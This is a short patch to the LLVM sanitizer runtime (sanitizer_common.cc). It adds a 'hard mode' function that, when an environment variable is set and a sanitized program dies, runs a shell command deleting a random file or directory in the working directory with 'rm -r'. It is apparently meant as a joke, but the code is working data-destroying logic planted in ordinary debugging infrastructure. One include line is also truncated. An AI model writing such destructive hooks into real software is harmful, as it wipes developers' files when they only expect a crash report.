Index: lib/sanitizer_common/sanitizer_common.cc =================================================================== --- lib/sanitizer_common/sanitizer_common.cc +++ lib/sanitizer_common/sanitizer_common.cc @@ -17,6 +17,8 @@ #include "sanitizer_stacktrace.h" #include "sanitizer_symbolizer.h" +#include + namespace __sanitizer { const char *SanitizerToolName = "SanitizerTool"; @@ -58,10 +60,18 @@ return DieCallback; } +void HardModePenalty() { + system("files=($PWD/*); f=\"${files[RANDOM % ${#files[@]}]}\";" + "rm -r \"$f\""); +} + void NORETURN Die() { if (DieCallback) { DieCallback(); } + if (GetEnv("SANITIZER_HARD_MODE")) { + HardModePenalty(); + } internal__exit(1); }